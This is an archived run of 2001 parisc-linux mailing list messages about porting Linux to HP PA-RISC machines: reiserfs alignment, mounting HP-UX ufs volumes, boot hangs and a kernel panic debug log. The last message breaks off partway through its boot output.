Original-Received: by fury.csh.rit.edu (Postfix, from userid 7879)
	id 5AFAE2E461; Mon,  3 Sep 2001 21:38:36 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <20010903003437.A385@linux-m68k.org>; from Richard.Zidlicky@stud.informatik.uni-erlangen.de on Mon, Sep 03, 2001 at 12:34:37AM +0200
X-Operating-System: SunOS 5.8 (sun4u)
Xref: news.gmane.org gmane.linux.ports.parisc:12096

On Mon, Sep 03, 2001 at 12:34:37AM +0200, Richard Zidlicky wrote:
> On Sun, Sep 02, 2001 at 07:57:17PM +0200, thunder7@xs4all.nl wrote:
> > 
> > --- linux/include/linux/reiserfs_fs.h   Sun Sep  2 21:54:25 2001
> > +++ linux-new/include/linux/reiserfs_fs.h       Sun Sep  2 20:47:27 2001
> > @@ -924,7 +924,7 @@
> >  #define DEH_Visible 2
> > 
> >  /* 64 bit systems (and the S/390) need to be aligned explicitly -jdm */
> > -#if BITS_PER_LONG == 64 || defined(__s390__)
> > +#if BITS_PER_LONG == 64 || defined(__s390__) || defined(__hppa__)
> >  #   define ADDR_UNALIGNED_BITS  (3)
> >  #endif
> 
> couldn't reiserfs use asm/unaligned.h like anyone else?
> Seems at least sparc and mips may need the same treatment.

    I'll be the first to admit that having the #if followed by arch defines
    really sucks, and that asm/unaligned.h would be much cleaner if for no
    other reason than avoiding an unnecessary gotcha for someone porting a new
    arch.

    Unfortunately, this doesn't appear to work in all cases. I know from
    testing that the S/390 case will fail using the {get,put)_unaligned macros,
    since they are identical to a normal, unassisted assignment.

    I did kick around the idea of making those macros the default accessors for
    the deh_state member (which is the only place they're used), but it unfairly
    penalizes arches that don't need them.

    I'm open to suggestions.

    -Jeff

-- 
Jeff Mahoney           |   "Bill Gates is a monocle and a Persian cat away
jeffm@suse.com         |    from being the villain in a James Bond movie."
jeffm@csh.rit.edu      |                   -- Dennis Miller




From - Thu Nov 08 21:19:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] UreStoreOptical 20xt
Date: Tue, 4 Sep 2001 03:01:22 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20010904030122.S5126@parcelfarce.linux.theplanet.co.uk>
References: <C12531D038D1D011B1DB0000F8036C280A30EB51@eosm5.oecd.org> <200109040134.TAA23952@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620453 24953 80.91.229.3 (22 Nov 2014 01:40:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:53 +0000 (UTC)
Cc: Arnaud.ATOCH@oecd.org, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 20:01:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D5DCF482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 20:01:34 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15e5Wk-0007cD-00; Tue, 04 Sep 2001 03:01:22 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200109040134.TAA23952@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Mon, Sep 03, 2001 at 07:34:20PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12097

On Mon, Sep 03, 2001 at 07:34:20PM -0600, Grant Grundler wrote:
> IIRC, should only need hpfs (which also depends on ufs?..dunno anymore)
> hfs == Apple's Hiearchial File System.

hpfs is IBM's High Performance FileSystem for OS/2 :-)
You need ufs and mount with -ohp, iirc.

> > Btw does the HP-UX fs support patch made it to Linus tree ?
> 
> dunno.  But didn't that patch come from the parisc-linux tree?

Yes, it's in Linus' tree.  We merged that in a loooong time ago.

> Anyway...you might check if those disks are under LVM control.
> If so, you'll have to convert those to non-LVM storage using HPUX.
> The archives for parisc-linux mailing list have a discussion on HP's
> LVM issues.

That's what I assume.  There is now vxfs support in the tree, but nobody's
tried getting it working on HP vxfs volumes.  Volunteers...?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Waterhouse <james.waterhouse@videotron.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: booting problems
Date: Tue, 04 Sep 2001 00:08:28 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <3B9453BC.60607@videotron.ca>
References: <3B8FB5EF.3020301@videotron.ca> <20010902101556.W11744@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620453 24958 80.91.229.3 (22 Nov 2014 01:40:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:53 +0000 (UTC)
Cc: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>,
	"debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  3 22:10:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C4EA482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Sep 2001 22:10:34 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA24261
	for <parisc-linux@puffin.external.hp.com>; Mon, 3 Sep 2001 22:08:22 -0600
Original-Received: (qmail 3674 invoked by uid 15267); 4 Sep 2001 04:10:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3656 invoked from network); 4 Sep 2001 04:10:38 -0000
Original-Received: from tomts14.bellnexxia.net (HELO tomts14-srv.bellnexxia.net) (209.226.175.35)
  by mailserv2.iuinc.com with SMTP; 4 Sep 2001 04:10:38 -0000
Original-Received: from videotron.ca ([64.231.240.172])
          by tomts14-srv.bellnexxia.net
          (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP
          id <20010904040949.SBRP8611.tomts14-srv.bellnexxia.net@videotron.ca>;
          Tue, 4 Sep 2001 00:09:49 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1
X-Accept-Language: en-us
Xref: news.gmane.org gmane.linux.ports.parisc:12098

Hello Richard,

Richard Hirst wrote:

> On Fri, Aug 31, 2001 at 12:06:07PM -0400, James Waterhouse wrote:
> 
>>Hello everyone,
>>	I'm seem to be having trouble booting into linux on my 712/60. I hope 
>>someone can help. I have built a new kernel (from cvs) and also set up 
>>an nfs root. When I try to boot the linux boots up to the point where it 
>>says "Cleaning: /tmp/ /var/lock /var/run" and then it just hangs. Any 
>>idea what is cause it to hang? Could there be a problem with the nfsroot?
>>
> 
> Possible.  What are you using for your nfsroot?


For an nfsroot I'm using the debian base from
ftp://puffin.external.hp.com/pub/parisc/binaries/debian/basetars/base-20010404.tar.gz

> Does it still respond to pings?


Yes it still responds to pings.

> What console are you using?


I don't know... (do you mean sti or serial? if so then I think it is sti 
... whatever is default the config)

> Do you get a prompt if you boot with 'init=/bin/sh'?


How do I do that?

James


> 
> Richard
> 
> 
> 






From - Thu Nov 08 21:19:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnaud.ATOCH@oecd.org
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] UreStoreOptical 20xt
Date: Tue, 4 Sep 2001 10:17:52 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <C12531D038D1D011B1DB0000F8036C280A30EB6C@eosm5.oecd.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620453 24959 80.91.229.3 (22 Nov 2014 01:40:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@puffin.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  4 02:17:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cs1-hq.oecd.org (cs1-hq.oecd.org [193.51.65.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C05B482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Sep 2001 02:17:53 -0600 (MDT)
Original-Received: from netsweep1.oecd.org (netsweep1.oecd.org [10.102.5.110])
	by cs1-hq.oecd.org (Postfix) with ESMTP id BD9E34B027
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Sep 2001 10:14:47 +0200 (CEST)
Original-Received: from eosgty1.oecd.org (unverified) by netsweep1.oecd.org
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T55c92210fb0a66056e06d@netsweep1.oecd.org>;
 Tue, 4 Sep 2001 10:17:53 +0200
Original-Received: by eosgty1.oecd.org with Internet Mail Service (5.5.2653.19)
	id <RCR7DQTQ>; Tue, 4 Sep 2001 10:17:53 +0200
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12099

Ok, thanks for coming back .

I've learn a lot and here are my conclusions :

- hpfs is OS/2 specific.
- The HP-UX fs patch came from parisc tree and did it into Linus tree
(2.4.8).
- HP-UX fs support in in the ufs module.
- Correct syntaxe for mount an HP-UX fs under Linux is : mount -t ufs -o
ufstype=hp /dev/sda /mnt/opti
- LVM fs are not so easy to handle and for now no success.

So the HP Surestore Optical 20xt is fully functionnal under Linux parisc or
x86.

Again thanks for you excellent work.

Arnaud Atoch
OECD
Paris - France

-----Original Message-----
From: Grant Grundler [mailto:grundler@puffin.external.hp.com]
Sent: Tuesday, September 04, 2001 3:34 AM
To: Arnaud.ATOCH@oecd.org
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] UreStoreOptical 20xt 


Arnaud.ATOCH@oecd.org wrote:
> I've loaded hfs, hpfs, udf, ufs because it was not clear which module
> provide HP-UX filesystem support.

IIRC, should only need hpfs (which also depends on ufs?..dunno anymore)
hfs == Apple's Hiearchial File System.

> Btw does the HP-UX fs support patch made it to Linus tree ?

dunno.  But didn't that patch come from the parisc-linux tree?

Anyway...you might check if those disks are under LVM control.
If so, you'll have to convert those to non-LVM storage using HPUX.
The archives for parisc-linux mailing list have a discussion on HP's
LVM issues.

BTW, You might also try to explicitly specify the hpfs type.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:19:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] documented Oops running big-endian reiserfs on parisc architecture
Date: Tue, 4 Sep 2001 18:01:28 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20010904180128.D4408@tausq.org>
References: <20010902105538.A15344@middle.of.nowhere> <20010902150023.U5126@parcelfarce.linux.theplanet.co.uk> <20010902.160441.92583890.davem@redhat.com> <20010903002514.X5126@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620454 24961 80.91.229.3 (22 Nov 2014 01:40:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  4 19:01:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id E4FB0482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Sep 2001 19:01:45 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.4d3e3a24) with ESMTP id saomhaaa for parisc-linux@lists.parisc-linux.org; Tue, 4 Sep 2001 17:57:34 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15eR4K-0000tX-00; Tue, 04 Sep 2001 18:01:28 -0700
Content-Disposition: inline
In-Reply-To: <20010903002514.X5126@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12100

> > Is it impossible to handle unaligned access traps properly on
> > parisc?  If so, well you have some problems...
> 
> No, we just haven't bothered to implement it yet.  Not many people
> use IPX these days.

It should be easy to handle kernel unalignment traps in
parisc/kernel/unaligned.c like we currently do for userspace (in fact
there already is some code to do this). I thought we didn't want to do
this though?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:19:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] UreStoreOptical 20xt
Date: Tue, 04 Sep 2001 21:57:28 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <200109050357.VAA00570@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620454 24965 80.91.229.3 (22 Nov 2014 01:40:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:54 +0000 (UTC)
Cc: Arnaud.ATOCH@oecd.org, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  4 22:00:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id B47D4482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Sep 2001 22:00:19 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id VAA00570;
	Tue, 4 Sep 2001 21:57:28 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Tue, 04 Sep 2001 03:01:22 BST." <20010904030122.S5126@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:12101

Matthew Wilcox wrote:
> On Mon, Sep 03, 2001 at 07:34:20PM -0600, Grant Grundler wrote:
> > IIRC, should only need hpfs (which also depends on ufs?..dunno anymore)
> > hfs == Apple's Hiearchial File System.
> 
> hpfs is IBM's High Performance FileSystem for OS/2 :-)
> You need ufs and mount with -ohp, iirc.

oops...thanks for the correction and -ohp is right:

grundler <520>fgrep -i hp fs/ufs/*
fgrep: fs/ufs/CVS: Is a directory
fs/ufs/super.c: * HP/UX hfs filesystem support added by
fs/ufs/super.c:                 else if (!strcmp (value, "hp"))
fs/ufs/super.c:                         ufs_set_opt (*mount_options, UFSTYPE_HP);
...
fs/ufs/super.c:                 printk(KERN_INFO "ufstype=hp is supported read-only\n");


BUG: Documentation/filesystems/ufs.txt doesn't mention -ohp

> There is now vxfs support in the tree, but nobody's
> tried getting it working on HP vxfs volumes.  Volunteers...?

Ooh..it's possible those optical disks ended up using vxfs too...
and CONFIG option says that's RO support too.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:19:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: asdfsdf sdfsdf <raviolana@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC assembly
Date: Tue, 4 Sep 2001 22:11:28 -0700 (PDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <20010905051128.98221.qmail@web20210.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620454 24966 80.91.229.3 (22 Nov 2014 01:40:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  4 23:11:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web20210.mail.yahoo.com (web20210.mail.yahoo.com [216.136.226.65])
	by dsl2.external.hp.com (Postfix) with SMTP id 16702482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Sep 2001 23:11:30 -0600 (MDT)
Original-Received: from [193.237.110.216] by web20210.mail.yahoo.com via HTTP; Tue, 04 Sep 2001 22:11:28 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:12102

Hello. I am wondering what the equivalent of
jmp and call are in PA-RISC assembly.  If there
are any documents on the internet specifying 
PA-RISC assembly I would be very grateful.

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
http://im.yahoo.com




From - Thu Nov 08 21:19:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] installing linux on HP systems
Date: Wed, 5 Sep 2001 01:18:19 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0109050116100.8790-100000@ns>
References: <20010905051128.98221.qmail@web20210.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620455 24968 80.91.229.3 (22 Nov 2014 01:40:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  4 23:18:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 830DA482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Sep 2001 23:18:20 -0600 (MDT)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id BAA09205
	for <parisc-linux@lists.parisc-linux.org>; Wed, 5 Sep 2001 01:18:19 -0400
X-Sender: nick@ns
In-Reply-To: <20010905051128.98221.qmail@web20210.mail.yahoo.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12103

Hi, I've got a C180 and a 715 that I'm trying to install linux on.  The
C180 has various issues that I belive are being worked on, so I moved on
to the 715.  On the 715 I get errors allong the lines of:
Writing inode tables: done                            
Writing superblocks and filesystem accounting information: done
# 
# # EXT2-fs error (device sd(8,2)): ext2_readdir: bad entry in directory
#2: rec_len % 4 != 0 - offset=0, inode=1701996660, rec_len5

This happens every time I try and mount a partition.  Is the 715 scsi
unsupported as well?
	Nick






From - Thu Nov 08 21:19:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC assembly
Date: Tue, 04 Sep 2001 23:21:18 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <200109050521.XAA00721@puffin.external.hp.com>
References: <raviolana@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620455 24972 80.91.229.3 (22 Nov 2014 01:40:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: asdfsdf sdfsdf <raviolana@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  4 23:23:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9853A482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Sep 2001 23:23:31 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA00721;
	Tue, 4 Sep 2001 23:21:18 -0600
In-Reply-To: Message from asdfsdf sdfsdf <raviolana@yahoo.com> 
   of "Tue, 04 Sep 2001 22:11:28 PDT." <20010905051128.98221.qmail@web20210.mail.yahoo.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:12104

asdfsdf sdfsdf wrote:
> Hello. I am wondering what the equivalent of
> jmp and call are in PA-RISC assembly.  If there
> are any documents on the internet specifying 
> PA-RISC assembly I would be very grateful.

Start by searching www.parisc-linux.org and docs.hp.com.
Then grab the parisc-linux kernel source and look for *.S files
in the arch/parisc directory to find some real examples.

grant




From - Thu Nov 08 21:19:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andre Konopka <andre.konopka@presse-data.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] awkward question: How can I burn the iso image with WinOnCD
Date: Wed, 05 Sep 2001 08:53:06 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <3B95CBD2.7C16D2A2@presse-data.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620455 24974 80.91.229.3 (22 Nov 2014 01:40:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:55 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 00:53:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pdvirus1.presse-data.de (mail.presse-data.de [149.221.250.67])
	by dsl2.external.hp.com (Postfix) with SMTP id 5AE9E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 00:53:12 -0600 (MDT)
Original-Received: from presse-data.de (pdsyw021.rz.rbpd-dus.de [149.221.3.10])
	by mail.presse-data.de (Postfix) with ESMTP id ACE3E269
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 08:53:06 +0200 (MEST)
Original-Sender: pbs013@mail.presse-data.de
X-Mailer: Mozilla 4.78 [en] (X11; U; HP-UX B.11.11 9000/778)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12105

Hi,

yes I know my question is something off topic...

Yesterday I downloaded the ISO image and now I stand there and doesn't
know how to get the stuff on a CD.

Is anybody out there who burned the CD-Image with WinOnCD?


Thanks 

amdre.konopka@presse-data.de




From - Thu Nov 08 21:19:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@penguin3.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panics on 715/80
Date: Wed, 5 Sep 2001 12:32:46 +0300 (EEST)
Lines: 90
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0109041210480.15250-100000@penguin3.ntc.nokia.com>
References: <20010903155940.I5126@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416620456 24975 80.91.229.3 (22 Nov 2014 01:40:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:56 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: ext Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 03:32:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id 573B4482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 03:32:49 -0600 (MDT)
Original-Received: from esvir02nok.nokia.com (esvir02nokt.ntc.nokia.com [172.21.143.34])
	by mgw-x2.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f859XE322391
	for <parisc-linux@lists.parisc-linux.org>; Wed, 5 Sep 2001 12:33:14 +0300 (EET DST)
Original-Received: from esebh12nok.ntc.nokia.com (unverified) by esvir02nok.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T55cec3ec66ac158f22078@esvir02nok.nokia.com>;
 Wed, 5 Sep 2001 12:32:46 +0300
Original-Received: from linux.nokia.com (linox03.ntc.nokia.com [172.21.29.49]) by esebh12nok.ntc.nokia.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.78)
	id R4S29LA8; Wed, 5 Sep 2001 12:32:46 +0300
Original-Received: from penguin3.ntc.nokia.com (IDENT:martikka@penguin3.ntc.nokia.com [192.168.170.81])
	by linux.nokia.com (8.11.2/8.11.2) with ESMTP id f859Wkx28382;
	Wed, 5 Sep 2001 12:32:46 +0300
In-Reply-To: <20010903155940.I5126@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12106

On Mon, 3 Sep 2001, ext Matthew Wilcox wrote:

> On Mon, Sep 03, 2001 at 05:21:09PM +0300, Hannu Martikka wrote:
> > Hei,
> >
> > I just downloaded kernel-2.4.9 (linux-20010901.tar.gz) and compiled it
> > with default configuration (I selected the 7100LC cpu) on my 715/80. I was
> > successfully running the 2.4.0 kernel from 0.9.2 cd-image.
> >
> > Any ideas what went wrong?
>
> Nope; two hints.  First, you can look up 102ee3c4 and 1010afd0 in your
> System.map -- that'll tell you which function it's in and what function
> called it, respectively.  Secondly, you can define EARLY_BOOTUP_DEBUG
> in arch/parisc/kernel/pdc_cons.c and recompile.  That'll show where it
> dies.  This crash concerns me a little since I tested CVS kernel a couple
> of days ago on a 715/80.

Sorry it took so long to do further debugging... Anyway the System.map
says:

102ee3a0 ? parisc_hardware_description
1010ae98 T alloc_pa_dev

I do have an extra card (X25-card as far as I can remember) on expansion
slot. I recompiled the kernel with the "EARLY_BOOTUP_DEBUG" and here are
the results:

...
ext2_mount(partition 3) returns 0
ext2_open(/boot/vmlinux-2.4.9) = 3
ELF32 executable
Entry 001000d0 first 00100000 n 4
Segment 0 load 00100000 size 1712560 mediaptr 0x1000
Segment 1 load 002a4000 size 281808 mediaptr 0x1a4000
Segment 2 load 002ec000 size 385024 mediaptr 0x1e9000
Segment 3 load 0037f510 size 88000 mediaptr 0x247510
branching to kernel entry point 0x001000d0
Linux version 2.4.9-pa13 (root@linox04) (gcc version 3.0.2 20010825
(Debian prerelease)) #1 Tue Sep 4 18:46:12 EEST 2001
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: Older Legacy Box
